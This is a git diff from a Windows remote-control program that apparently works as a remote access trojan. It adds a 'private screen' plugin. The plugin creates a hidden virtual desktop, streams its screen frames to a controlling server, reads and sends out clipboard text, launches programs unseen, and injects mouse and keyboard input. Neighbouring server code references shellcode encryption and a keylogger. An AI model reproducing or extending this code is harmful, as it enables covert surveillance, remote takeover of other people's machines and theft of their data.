+ CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
+ CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
+
+ SAFE_DELETE(m_ScreenSpyObject);
+ if (g_hDesk) {
+ auto b = CloseDesktop(g_hDesk);
+ g_hDesk = NULL;
+ Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
+ }
+ }
+
+public: // 非纯虚函数
+ virtual BOOL SendFirstScreen() {
+ ULONG len = 0;
+ auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
+ if (nullptr == data) {
+ return FALSE;
+ }
+ return m_ClientObject->Send2Server((char*)data, 1 + len);
+ }
+
+ virtual bool IsMetricsChange() {
+ if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
+ if (m_oldwidth == 0 || m_oldheigh == 0) {
+ return false;
+ }
+ m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
+ m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
+ return true;
+ }
+
+ return false;
+ }
+
+ virtual void Loop_Screen() {
+ // 获取分辨率
+ int _cx = ::GetSystemMetrics(SM_CXSCREEN);
+ int _cy = ::GetSystemMetrics(SM_CYSCREEN);
+
+ // 修改分辨率
+ DEVMODE lpDevMode;
+ lpDevMode.dmBitsPerPel = 32;//每个像素的位数
+ lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素)
+ lpDevMode.dmPelsHeight = 900;//屏幕高度(像素)
+ lpDevMode.dmSize = sizeof(lpDevMode);
+ lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
+ LONG result = ChangeDisplaySettings(&lpDevMode, 0);
+ if (result == DISP_CHANGE_SUCCESSFUL) {
+ ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
+ }
+ else {
+ ChangeDisplaySettings(NULL, 0);
+ }
+ }
+
+ virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
+
+ virtual int GetCurrentPixelBits() { return m_biBitCount; }
+
+ virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
+ return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
+ }
+
+ virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
+ m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
+ }
+
+ virtual void ResetScreen(int biBitCount = 32) {
+ InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
+ WaitForSingleObject(m_hWorkThread, INFINITE);
+ CloseHandle(m_hWorkThread);
+ SAFE_DELETE(m_ScreenSpyObject);
+ m_biBitCount = biBitCount;
+ m_bIsWorking = TRUE;
+ m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
+ }
+
+ virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
+ if (!OpenClipboard(NULL))
+ return;
+ EmptyClipboard();
+ HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
+ if (hGlobal != NULL) {
+ LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
+ if (szClipboardVirtualAddress)
+ memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
+ GlobalUnlock(hGlobal);
+ if (NULL == SetClipboardData(CF_TEXT, hGlobal))
+ GlobalFree(hGlobal);
+ }
+ CloseClipboard();
+ }
+
+ virtual VOID SendClientClipboard() {
+ if (!OpenClipboard(NULL)) //打开剪切板设备
+ return;
+ HGLOBAL hGlobal = (HGLOBAL)GetClipboardData(CF_TEXT); //代表着一个内存
+ if (hGlobal == NULL) {
+ CloseClipboard();
+ return;
+ }
+ int iPacketLength = GlobalSize(hGlobal) + 1;
+ char* szClipboardVirtualAddress = (LPSTR)GlobalLock(hGlobal); //锁定
+ LPBYTE szBuffer = new BYTE[iPacketLength];
+
+ szBuffer[0] = TOKEN_CLIPBOARD_TEXT;
+ memcpy(szBuffer + 1, szClipboardVirtualAddress, iPacketLength - 1);
+ GlobalUnlock(hGlobal);
+ CloseClipboard();
+ m_ClientObject->Send2Server((char*)szBuffer, iPacketLength);
+ delete[] szBuffer;
+ }
+
+ virtual DWORD WorkProcess() {
+ CScreenManagerBase* This = this;
+ This->InitScreenSpy();
+
+ This->SendBitMapInfo();
+ if (This->m_bIsWorking)
+ This->WaitForDialogOpen();
+ This->SendScreenSize();
+ clock_t last = clock();
+ if (!This->SendFirstScreen()) {
+ Mprintf("Send first screen failed!!!\n");
+ return 0x20250224;
+ }
+ Mprintf("Succeed sending bmpInfo and first screen\n");
+
+ float fps = This->m_fps;
+ const int sleep = 1000 / fps;// 间隔时间(ms)
+ int c1 = 0; // 连续耗时长的次数
+ int c2 = 0; // 连续耗时短的次数
+ int s0 = sleep; // 两帧之间隔(ms)
+ const int frames = fps; // 每秒调整屏幕发送速度
+ const double alpha = 1.1; // 控制fps的因子
+ timeBeginPeriod(1);
+ while (This->m_bIsWorking) {
+ ULONG ulNextSendLength = 0;
+ LPBYTE szBuffer = This->GetNextScreen(ulNextSendLength);
+ if (NULL == szBuffer) {
+ continue;
+ }
+ int span = s0 - (clock() - last);
+ Sleep(span > 0 ? span : 1);
+ if (span < 0) { // 发送数据耗时较长,网络较差或数据较多
+ c2 = 0;
+ if (frames == ++c1) { // 连续一定次数耗时长
+ s0 = (s0 <= 500) ? s0 * alpha : s0;
+ c1 = 0;
+#ifdef _DEBUG
+ if (s0 > 40)
+ Mprintf("[+]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
+#endif
+ }
+ }
+ else if (span > 0) { // 发送数据耗时比s0短,表示网络较好或数据包较小
+ c1 = 0;
+ if (frames == ++c2) { // 连续一定次数耗时短
+ s0 = (s0 >= 40) ? s0 / alpha : s0;
+ c2 = 0;
+#ifdef _DEBUG
+ if (s0 > 40)
+ Mprintf("[-]SendScreen Span= %dms, s0= %d, fps= %f\n", span, s0, 1000. / s0);
+#endif
+ }
+ }
+ last = clock();
+ This->SendNextScreen(szBuffer, ulNextSendLength);
+ }
+ timeEndPeriod(1);
+ Mprintf("ScreenWorkThread Exit\n");
+
+ return 0;
+ }
+
+ virtual DWORD ControlProcess() {
+ CScreenManagerBase* pThis = this;
+ pThis->WaitForDialogOpen();
+ while (pThis->IsConnect() && pThis->m_bIsWorking) {
+ // 分辨率大小改变了
+ if (pThis->IsMetricsChange() && pThis->m_bIsWorking) {
+ pThis->ResetScreen(pThis->GetCurrentPixelBits());
+ Sleep(2000);
+ }
+ Sleep(10);
+ }
+ return -1;
+ }
+
+ static DWORD WINAPI WorkThreadProc(LPVOID lParam) {
+ CScreenManagerBase* pThis = (CScreenManagerBase*)lParam;
+ return pThis->WorkProcess();
+ }
+
+ static DWORD WINAPI ControlThread(LPVOID lparam) {
+ CScreenManagerBase* pThis = (CScreenManagerBase*)lparam;
+ return pThis->ControlProcess();
+ }
+
+ std::wstring ConvertToWString(const std::string& multiByteStr) {
+ int len = MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, NULL, 0);
+ if (len == 0) return L""; // 转换失败
+
+ std::wstring wideStr(len, L'\0');
+ MultiByteToWideChar(CP_ACP, 0, multiByteStr.c_str(), -1, &wideStr[0], len);
+
+ return wideStr;
+ }
+
+ std::string GetTitle(HWND hWnd) {
+ char title[256] = { 0 }; // 预留缓冲区(置零,避免无标题/无效窗口时读到未初始化内存)
+ GetWindowTextA(hWnd, title, sizeof(title));
+ return title;
+ }
+
+ virtual bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName) {
+ bool bReturn = false;
+
+ try {
+ if (!pszApplicationFilePath || !pszDesktopName || !strlen(pszApplicationFilePath) || !strlen(pszDesktopName))
+ return false;
+
+ TCHAR szDirectoryName[MAX_PATH * 2] = { 0 };
+ TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
+
+ strcpy_s(szDirectoryName, strlen(pszApplicationFilePath) + 1, pszApplicationFilePath);
+
+ std::wstring path = ConvertToWString(pszApplicationFilePath);
+ if (!PathIsExe(path.c_str()))
+ return false;
+ PathRemoveFileSpec(szDirectoryName);
+ STARTUPINFO sInfo = { 0 };
+ PROCESS_INFORMATION pInfo = { 0 };
+
+ sInfo.cb = sizeof(sInfo);
+ sInfo.lpDesktop = pszDesktopName;
+
+ //Launching a application into desktop
+ BOOL bCreateProcessReturn = CreateProcess(pszApplicationFilePath,
+ NULL,
+ NULL,
+ NULL,
+ TRUE,
+ NORMAL_PRIORITY_CLASS,
+ NULL,
+ szDirectoryName,
+ &sInfo,
+ &pInfo);
+ CloseHandle(pInfo.hProcess);
+ CloseHandle(pInfo.hThread);
+ TCHAR* pszError = NULL;
+ FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
+ NULL, GetLastError(), 0, reinterpret_cast(&pszError), 0, NULL);
+
+ if (pszError) {
+ Mprintf("CreateProcess [%s] failed: %s\n", pszApplicationFilePath, pszError);
+ LocalFree(pszError); // 释放内存
+ }
+
+ if (bCreateProcessReturn)
+ bReturn = true;
+
+ }
+ catch (...) {
+ bReturn = false;
+ }
+
+ return bReturn;
+ }
+
+ virtual VOID SendBitMapInfo() {
+ const ULONG ulLength = 1 + sizeof(BITMAPINFOHEADER);
+ LPBYTE szBuffer = new BYTE[ulLength];
+ szBuffer[0] = m_DlgToken;
+ memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
+ m_ClientObject->Send2Server((char*)szBuffer, ulLength);
+ SAFE_DELETE_ARRAY(szBuffer);
+ }
+
+ virtual void SendScreenSize()
+ {
+ RECT rect = m_ScreenSpyObject->GetScreenRect();
+ BYTE lpBuffer[sizeof(RECT) + 1];
+ lpBuffer[0] = TOKEN_SCREEN_SIZE;
+ memcpy(lpBuffer + 1, &rect, sizeof(RECT));
+ Send(lpBuffer, sizeof(lpBuffer));
+ }
+
+ virtual VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength) {
+ int msgSize = sizeof(MYMSG);
+ if (ulLength % 28 == 0) // 32位控制端发过来的消息
+ msgSize = 28;
+ else if (ulLength % 48 == 0) // 64位控制端发过来的消息
+ msgSize = 48;
+ else return; // 数据包不合法
+ ULONG ulMsgCount = ulLength / msgSize;
+ BYTE* ptr = szBuffer;
+ MSG32 msg32;
+ MSG64 msg64;
+ if (nullptr == g_hDesk) {
+ // 命令个数
+ // 处理多个命令
+ for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
+ MYMSG* Msg = msgSize == 48 ? (MYMSG*)ptr :
+ (MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
+ switch (Msg->message) {
+ case WM_LBUTTONDOWN: case WM_LBUTTONUP:
+ case WM_RBUTTONDOWN: case WM_RBUTTONUP:
+ case WM_LBUTTONDBLCLK: case WM_RBUTTONDBLCLK: case WM_MBUTTONDBLCLK:
+ case WM_MBUTTONDOWN: case WM_MBUTTONUP:
+ case WM_MOUSEMOVE: {
+ POINT Point;
+ Point.x = LOWORD(Msg->lParam);
+ Point.y = HIWORD(Msg->lParam);
+ m_ScreenSpyObject->PointConversion(Point);
+ SetCursorPos(Point.x, Point.y);
+ SetCapture(WindowFromPoint(Point));
+ }
+ break;
+ default:
+ break;
+ }
+
+ switch (Msg->message) {
+ case WM_LBUTTONDOWN:
+ mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
+ break;
+ case WM_LBUTTONUP:
+ mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
+ break;
+ case WM_RBUTTONDOWN:
+ mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
+ break;
+ case WM_RBUTTONUP:
+ mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
+ break;
+ case WM_LBUTTONDBLCLK:
+ mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
+ mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
+ break;
+ case WM_RBUTTONDBLCLK:
+ mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
+ mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
+ break;
+ case WM_MBUTTONDBLCLK:
+ mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
+ mouse_event(MOUSEEVENTF_MIDDLEDOWN | MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
+ break;
+ case WM_MBUTTONDOWN:
+ mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
+ break;
+ case WM_MBUTTONUP:
+ mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
+ break;
+ case WM_MOUSEWHEEL:
+ mouse_event(MOUSEEVENTF_WHEEL, 0, 0, GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
+ break;
+ case WM_KEYDOWN: case WM_SYSKEYDOWN:
+ keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), 0, 0);
+ break;
+ case WM_KEYUP: case WM_SYSKEYUP:
+ keybd_event(Msg->wParam, MapVirtualKeyA(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
+ break;
+ default:
+ break;
+ }
+ }
+ } else { // 虚拟桌面
+ HWND hWnd = NULL;
+ BOOL mouseMsg = FALSE;
+ POINT lastPointCopy = {};
+ SetThreadDesktop(g_hDesk);
+ for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
+ MYMSG* msg = msgSize == 48 ? (MYMSG*)ptr :
+ (MYMSG*)msg64.Create(msg32.Create(ptr, msgSize));
+ switch (msg->message) {
+ case WM_KEYUP:
+ return;
+ case WM_CHAR:
+
+ case WM_KEYDOWN: {
+ m_point = m_lastPoint;
+ hWnd = WindowFromPoint(m_point);
+ break;
+ }
+ case WM_RBUTTONDOWN: {
+ // 记录右键按下时的坐标
+ m_rmouseDown = TRUE;
+ m_rclickPoint = msg->pt;
+ break;
+ }
+ case WM_RBUTTONUP: {
+ m_rmouseDown = FALSE;
+ m_rclickWnd = WindowFromPoint(m_rclickPoint);
+ // 检查是否为系统菜单(如任务栏)
+ char szClass[256] = { 0 };
+ GetClassNameA(m_rclickWnd, szClass, sizeof(szClass));
+ Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(m_rclickWnd).c_str(), m_rclickWnd);
+ if (strcmp(szClass, "Shell_TrayWnd") == 0) {
+ // 触发系统级右键菜单(任务栏)
+ PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd,
+ MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y));
+ }
+ else {
+ // 普通窗口的右键菜单
+ if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam,
+ MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) {
+ // 附加:模拟键盘按下Shift+F10(备用菜单触发方式)
+ keybd_event(VK_SHIFT, 0, 0, 0);
+ keybd_event(VK_F10, 0, 0, 0);
+ keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0);
+ keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
+ }
+ }
+ break;
+ }
+ default:
+ {
+ mouseMsg = TRUE;
+ m_point = msg->pt;
+ hWnd = WindowFromPoint(m_point);
+ lastPointCopy = m_lastPoint;
+ m_lastPoint = m_point;
+ if (msg->message == WM_LBUTTONUP) {
+ if (m_rclickWnd && hWnd != m_rclickWnd)
+ {
+ PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0);
+ PostMessageA(m_rclickWnd, WM_LBUTTONUP, MK_LBUTTON, 0);
+ m_rclickWnd = nullptr;
+ }
+ m_lmouseDown = FALSE;
+ LRESULT lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
+ switch (lResult) {
+ case HTTRANSPARENT: {
+ SetWindowLongA(hWnd, GWL_STYLE, GetWindowLongA(hWnd, GWL_STYLE) | WS_DISABLED);
+ lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
+ break;
+ }
+ case HTCLOSE: {// 关闭窗口
+ PostMessageA(hWnd, WM_CLOSE, 0, 0);
+ Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
+ break;
+ }
+ case HTMINBUTTON: {// 最小化
+ PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0);
+ Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
+ break;
+ }
+ case HTMAXBUTTON: {// 最大化
+ WINDOWPLACEMENT windowPlacement;
+ windowPlacement.length = sizeof(windowPlacement);
+ GetWindowPlacement(hWnd, &windowPlacement);
+ if (windowPlacement.flags & SW_SHOWMAXIMIZED)
+ PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
+ else
+ PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
+ Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
+ break;
+ }
+ }
+ }
+ else if (msg->message == WM_LBUTTONDOWN) {
+ m_lmouseDown = TRUE;
+ m_hResMoveWindow = NULL;
+ RECT startButtonRect;
+ HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
+ GetWindowRect(hStartButton, &startButtonRect);
+ if (PtInRect(&startButtonRect, m_point)) {
+ PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击
+ continue;
+ }
+ else {
+ char windowClass[MAX_PATH] = { 0 };
+ RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
+ if (!lstrcmpA(windowClass, "#32768")) {
+ HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
+ int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
+ int itemId = GetMenuItemID(hMenu, itemPos);
+ PostMessageA(hWnd, 0x1e5, itemPos, 0);
+ PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
+ continue;
+ }
+ }
+ }
+ else if (msg->message == WM_MOUSEMOVE) {
+ if (!m_lmouseDown)
+ continue;
+ if (!m_hResMoveWindow)
+ m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
+ else
+ hWnd = m_hResMoveWindow;
+ int moveX = lastPointCopy.x - m_point.x;
+ int moveY = lastPointCopy.y - m_point.y;
+
+ RECT rect;
+ GetWindowRect(hWnd, &rect);
+ int x = rect.left;
+ int y = rect.top;
+ int width = rect.right - rect.left;
+ int height = rect.bottom - rect.top;
+ switch (m_resMoveType) {
+ case HTCAPTION: {
+ x -= moveX;
+ y -= moveY;
+ break;
+ }
+ case HTTOP: {
+ y -= moveY;
+ height += moveY;
+ break;
+ }
+ case HTBOTTOM: {
+ height -= moveY;
+ break;
+ }
+ case HTLEFT: {
+ x -= moveX;
+ width += moveX;
+ break;
+ }
+ case HTRIGHT: {
+ width -= moveX;
+ break;
+ }
+ case HTTOPLEFT: {
+ y -= moveY;
+ height += moveY;
+ x -= moveX;
+ width += moveX;
+ break;
+ }
+ case HTTOPRIGHT: {
+ y -= moveY;
+ height += moveY;
+ width -= moveX;
+ break;
+ }
+ case HTBOTTOMLEFT: {
+ height -= moveY;
+ x -= moveX;
+ width += moveX;
+ break;
+ }
+ case HTBOTTOMRIGHT: {
+ height -= moveY;
+ width -= moveX;
+ break;
+ }
+ default:
+ continue;
+ }
+ MoveWindow(hWnd, x, y, width, height, FALSE);
+ m_hResMoveWindow = hWnd;
+ continue;
+ }
+ break;
+ }
+ }
+ for (HWND currHwnd = hWnd;;) {
+ hWnd = currHwnd;
+ ScreenToClient(currHwnd, &m_point);
+ currHwnd = ChildWindowFromPoint(currHwnd, m_point);
+ if (!currHwnd || currHwnd == hWnd)
+ break;
+ }
+ if (mouseMsg)
+ msg->lParam = MAKELPARAM(m_point.x, m_point.y);
+ PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
+ }
+ }
+ }
+
+public: // 纯虚函数
+ virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength) = 0;
+ virtual void InitScreenSpy() = 0;
+
+ HDESK g_hDesk;
+ std::string m_DesktopID;
+ void* m_ptrUser;
+ ScreenCapture* m_ScreenSpyObject;
+ BOOL m_bIsWorking;
+ long m_oldwidth, m_oldheigh;
+ int m_biBitCount;
+ int m_fps;
+ int m_DlgToken; // 这个值决定打开哪个对话框
+ HANDLE m_hWorkThread, m_hBlankThread;
+
+ // 虚拟桌面
+ POINT m_point;
+ POINT m_lastPoint;
+ BOOL m_lmouseDown;
+ HWND m_hResMoveWindow;
+ LRESULT m_resMoveType;
+ BOOL m_rmouseDown; // 标记右键是否按下
+ POINT m_rclickPoint; // 右键点击坐标
+ HWND m_rclickWnd; // 右键窗口
+};
+
+} // namespace SimplePluginsScreenHide
diff --git a/common/commands.h b/common/commands.h
index f8a57cf..1a577c3 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -323,6 +323,7 @@ enum {
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
+ COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 68aa70b..e059125 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index 630c37f..d7c035a 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -997,6 +997,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_TALK_MANAGE, &CMy2015RemoteDlg::OnChat)
ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager)
ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
+ ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -4518,6 +4519,12 @@ void CMy2015RemoteDlg::OnExperimentFileManager()
SendSelectedCommand(&bToken, sizeof(BYTE));
}
+void CMy2015RemoteDlg::OnExperimentPrivateScreen()
+{
+ BYTE bToken = COMMAND_PRIVATE_SCREEN_PLUGIN; //向被控端发送打开隐私屏幕(虚拟桌面)命令
+ SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index d7d0a9b..d8ee22b 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -519,6 +519,7 @@ public:
afx_msg void OnChat();
afx_msg void OnMachineManager();
afx_msg void OnExperimentFileManager();
+ afx_msg void OnExperimentPrivateScreen();
afx_msg void OnOnlineDelete();
afx_msg void OnOnlineUpdate();
afx_msg void OnAbout();
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index 56e622c..3be548c 100644
--- a/server/2015Remote/resource.h
+++ b/server/2015Remote/resource.h
@@ -1013,6 +1013,7 @@
#define ID_CONNECTION_REFRESH 33088
#define ID_TALK_MANAGE 33089
#define ID_EXPERIMENT_FILE_MANAGER 33090
+#define ID_EXPERIMENT_PRIVATE_SCREEN 33091
#define ID_33046 33046
#define ID_PROXY_PORT_AUTORUN 33047
#define ID_TRIGGER_SETTINGS 33048
@@ -1077,7 +1078,7 @@
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 407
-#define _APS_NEXT_COMMAND_VALUE 33091
+#define _APS_NEXT_COMMAND_VALUE 33092
#define _APS_NEXT_CONTROL_VALUE 2593
#define _APS_NEXT_SYMED_VALUE 105
#endif